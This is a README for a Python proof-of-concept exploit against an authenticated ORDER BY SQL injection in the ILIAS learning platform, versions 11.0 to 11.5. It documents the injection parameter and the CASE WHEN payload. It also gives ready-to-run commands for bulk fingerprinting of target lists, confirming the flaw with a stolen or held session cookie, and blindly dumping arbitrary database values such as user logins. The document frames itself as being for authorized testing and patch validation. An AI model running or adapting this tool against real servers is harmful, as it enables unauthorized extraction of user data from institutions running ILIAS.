
Python PoC for CVE-2026-131850: fingerprints ILIAS versions, confirms authenticated ORDER BY SQL injection in registration codes listing, and extracts data via blind boolean probing.
Python 3 PoC for CVE-2026-131850 — ILIAS LMS — SQL injection (CWE-89) in admin registration codes table sort: unsanitized ORDER BY in RegistrationCodeRepository::getCodesData() → blind boolean / data extraction.
Authorized testing only. Use only on ILIAS instances you own or have written permission to test.
| Field | Value |
|---|---|
| CVE | CVE-2026-131850 |
| Product | ILIAS-eLearning/ILIAS |
| Affected | 11.0.0 – 11.5.x |
| Fixed | 11.6 (09b77af) |
| CWE | CWE-89 — SQL Injection |
| Auth | Session with read on Administration → Authentication and Registration (listCodes) |
| Vector | vcregistration_code table sort → ORDER BY concatenation |
| PoCbit catalog | https://pocbit.org/pocs/ |
| PoCbit page | https://pocbit.org/pocs/cve-2026-131850 |
| Success signal | sqli_confirmed / status=exploited (dump mode) in CLI or JSONL |
CLI modes: check (fingerprint + version vs 11.6), exploit (boolean ORDER BY probe), dump (blind scalar extract). Bulk: -f targets.txt -o recon.jsonl.
In ILIAS 11.0 – 11.5, sorting the registration-codes admin table passes user-controlled sort field and direction into SQL without proper whitelisting. An authenticated administrator (or any account with read on that admin node) can inject into ORDER BY, typically via the view control vcregistration_code and parameter shapes such as vcregistration_code[order][0].
11.6 adds identifier whitelisting and quoteIdentifier() for order fields.
This PoC sends:
ORDER BY (CASE WHEN (<condition>) THEN code ELSE role END) ASC
Differential HTML ordering between (1=1) and (1=2) confirms injection; dump mode compares response fingerprints to extract one scalar from a subquery (default: first usr_data.login).
CVE-2026-131850/
├── poc.py # CLI: check | exploit | dump
├── ilias_core.py # Fingerprint, version, listCodes URL guess
├── ilias_sqli.py # Payloads, boolean probe, blind extract
├── ilias_exploit.py # Exploit orchestration
├── ilias_versions.py # Affected range (< 11.6)
├── requirements.txt
├── targets.example.txt
└── tests/
└── test_versions.py
git clone https://github.com/YOUR_USER/CVE-2026-131850.git
cd CVE-2026-131850
pip install -r requirements.txt
Detect ILIAS, parse footer/asset version (ILIAS (v11.5 …), version=11_5), flag 11.x < 11.6 as vulnerable_version. Older majors (8/9/10) → not_in_cve_range.
python poc.py check -u https://ilias.uni.example/
python poc.py check -f targets.txt -o recon.jsonl --insecure --compact -w 8
status | Meaning |
|---|---|
not_ilias | No ILIAS signals |
vulnerable_version | ILIAS 11.x < 11.6 (CVE in scope) |
patched | ≥ 11.6 |
not_in_cve_range | ILIAS detected, version ≠ 11.x (e.g. 10.12) |
ilias_unknown_version | ILIAS seen, version not parsed |
listCodes URL (ilregistrationsettingsgui, ref_id=…).python poc.py exploit -u https://ilias.uni.example/ \
--cookie "ILIASxxxx=...; PHPSESSID=..." \
--codes-url "https://ilias.uni.example/ilias.php?ref_id=31&cmdClass=ilregistrationsettingsgui&cmd=listCodes"
python poc.py dump -u https://ilias.uni.example/ \
--cookie "..." \
--codes-url "..." \
--dump-len 32
python poc.py dump ... --sql "SELECT login FROM usr_data WHERE usr_id=6 LIMIT 1"
| Flag | Purpose |
|---|---|
--cookie | Session header value |
--codes-url | Exact admin listCodes URL |
--ref-id | Optional; helps check build URL guess |
--sql | Inner SELECT for dump mode |
--insecure | Skip TLS verify (lab / IP targets) |
-o PATH | Append JSONL (includes PoCbit reference fields) |
python -m unittest discover -s tests -v
Bulk output lines include:
"pocbit": "https://pocbit.org",
"pocbit_page": "https://pocbit.org/pocs/cve-2026-131850",
"cve": "CVE-2026-131850"
listCodes.For defensive research, patch validation, and authorized penetration testing only. Authors assume no liability for misuse.
CVE-2026-131850 — ILIAS 11.0–11.5 authenticated admin ORDER BY SQLi (CWE-89) in RegistrationCodeRepository::getCodesData / listCodes. PoCbit PoC: check (version <11.6), exploit (boolean CASE WHEN sort), dump (blind scalar). Fix ILIAS 11.6. https://pocbit.org/pocs/cve-2026-131850